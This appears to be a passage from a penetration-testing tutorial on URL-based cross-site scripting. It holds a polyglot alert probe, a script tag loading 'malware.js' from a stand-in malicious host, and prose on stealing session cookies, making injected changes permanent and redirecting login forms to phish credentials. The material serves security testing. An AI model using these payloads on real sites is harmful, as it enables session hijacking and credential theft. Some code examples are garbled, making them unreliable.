URL Based XSS/XST Attack Methods
If out input that we've entered does not work for the form what are we left to test? This can make us get quite aggravated however, we can use another little dirty tactic. Figure 1.3 demonstrates the use of URL's in order to supply passed javascript arguments to the processing web application. Remember when we've passed “STRING” to our web application? This was to see where it would place our search term. Now that we know this, lets perform the following:

Figure 1.3 showing a javascript to display “hi” as a return indication of successful XSS/XST validation.
If like in figure 1.2 we have a prompt box that states “hi” we know for certain that our web application is vulnerable to the attack mentioned. If not, we may have a bit more digging to undergo in order to determine how we can exploit this type of vulnerability successfully. So, where can we turn? We can turn our sights to automated tools, if we want to get lazy, or we can continue reading for more details.
Considering our above methods did not work, and we know for sure that there is input field validation happening, we need to set our sights onto the URL for abuse. Or, we can edit the source code, and hammer away at it as though no field validation had happened in the first place. More so, we can try escaping certain sequences. We will now demonstrate a quick portion of code which will return an alert / prompt box if the XSS/XST vulnerability returns true.
';alert(String.fromCharCode(118, 117, 108, 110, 101, 114, 97, 98, 108, 101))//\';alert(String.fromCharCode(118, 117, 108, 110, 101, 114, 97, 98, 108, 101))//";alert(String.fromCharCode(118, 117, 108, 110, 101, 114, 97, 98, 108, 101))//\";alert(String.fromCharCode(118, 117, 108, 110, 101, 114, 97, 98, 108, 101))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(118, 117, 108, 110, 101, 114, 97, 98, 108, 101))</SCRIPT>
|
Figure 1.4 Displaying XSS/XST code to invoke a “Vulnerable” message.
Lets us explain what exactly is happening with this code we are entering. First we are issuing the '; to escape any sequence before it (some locations it may be needed). Followed by an alert to convert the ASCII into charcode, and from charcode to characters. The 118 is a value of V to the ending of 101 which is a representation of e. Entering code in this method has a few key benefits.
The first benefit is that the web application will not be chunking the information up. With percent (%) symbols and other characterization. Sometimes this can cause a vulnerable web application to return false if it is in fact vulnerable. In such a case we want to remove all false-negatives.
When inserting this code, you may also get “invalid escape characterization” in any event, this is truly displaying that the web application is in fact vulnerable. In the mix, we also have the \” which is also an escape sequence for the quotation (“) character, many times to allow double quotes in: document.write(“and she said: \”please don't hack me\””); and in the most popular use: printf(“and she said: “\please don't hack me\””); Finally, we have a drop function (//--) followed by the script being re-closed (“>'>) from it's initial opening sequence (';).
To shorten this and make it more manageable it '; starts the sequence for the XSS/XST injection as an escape process for the query, as with the //\' portions. To the end of the syntax the, --> closes the syntax – completing the source code.
The portions to follow it:
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(118, 117, 108, 110, 101, 114, 97, 98, 108, 101))</SCRIPT>
|
Figure 1.5 last portion of XSS/XST Code
will effectively close one portion of javascript (</script>) while escaping previous information (beginning with > to “>'>) and then present an open script statement to the closed script statement (</script>) to complete the alert prompt for: “Vulnerable.” So why is this so important to know? For starters, you can escape any additional code logic with the intros, and the mid codes explained before, and getting right to the heart of the web application to see if the vulnerability exists. However, there are a lot more methods to the madness as you will see.
A more malicious method would be to, launch a JS file from another web application not even on the same server – What you say? This is preposterous? No, not at all! The whole point of XSS/XST is mainly to snatch cookies, and then replay the cookies to the server in which you've stolen them from. So, getting the user from one web location and forcing them to the next to snatch a cookie, and dump them back to the site becomes essential (as we will go over this, too!)
When testing for XSS/XST attacks make sure that you are running each test while clearing the browser cache. Doing so will eliminate false positives and residual from previous testing. We have noticed this countless times. Many times we've had to close our browsers in order for the information to be reset. If you have plugins for firefox, or your data set appropriately for Safari, Firefox, Konqueror, IE, and any other browser you may have it may not perform as we have noticed.
So, how do we test this? Easy, if your web application is vulnerable you can call a simple script as figure 1.6 will demonstrate, this can be done as follows:
<SCRIPT SRC=”http://www.malicious.com/malware.js”></SCRIPT>
|
Figure 1.6 Mitigating a call to javascript file located on another web location.
It may also come as a surprise to you that when you enter the quotation marks the web application (and default behaviors may we add) will place the sequence as follows: \” and, trying to escape those sequences can make things messy: \”\”. If that's not enough, when entering the single ticks ( ' ) you may also run into the fact that the web application returns: \' and so on. So, how can we combat this? For starters, we can combat this by entering the string with no quotations. This sounds obscured, doesn't it? Well, for the most part yes. We state yes because if you insert the quotations to anything outside Javascript/ JS it will work (just the way HTML is interpreted)
Where ever JS/Java can be inserted, HTML can be inserted. However, you cannot insert PHP.
To demonstrate this case, we've performed the code injection in a URL that was vulnerable. Below, you will see the results:

Figure 1.7 Code injection into web location URL parameter.
It might be a bit difficult to see, however where src=http is located, we have no quotation marks. This is how you can change the information on a page. However, it's not only done in this manor (given, this will not be present the next time the user logs in) however, if the page changes (like a blog) and you were to mitigate this type of attack on the web location what would happen is the changes would become permanent.
Although this method is quite “noisy” again, we must refer you to a web location where you can sign up for free, and provide some bogus information to the hosting company. Inside the grounds of a penetration test, if you are discovered your testing has gone to the dogs.
So what can we conclude from this? Is it safe to say that only URL's, URI's and form input fields are vulnerable? Well, it can be said, yes. However, Many other factors come into play. These factors can be the limitations of characterization input, the length inputs, or even server-side filtration. In any case, the latter is the hardest to defeat. In the proceeding examples, we will take a look at defeating such practices, and even so – some tools we can use to help us.
Now that we have found a vulnerable location, how can we steal credentials? We can do this in an encoded manor. Going back to the previous examples, we have the site that we have developed which takes information and cannot protect itself, meaning there is no input field validation practices being utilized. We know by looking at the source code that we have a field named: uname and a field named passwd both named such to be easily identifiable. By injecting code into the fields, we have successfully identified that the web application is vulnerable. Furthermore if the web application is undergoing filtration, we can also abuse the URI and the URL. In any instance, by encoding the information we'd like to inject, we can overcome these obstacles and perform a redirect.
Considering a web redirect is not of much importance, “oh wow you've redirected the form” we can, in fact bring the user to a web location to “phish” the credentials; or far more worse, steal a session cookie! Of the easier tactics, we will take a look at phishing the credentials of the user first. Then we will work our way to higher attack schematics.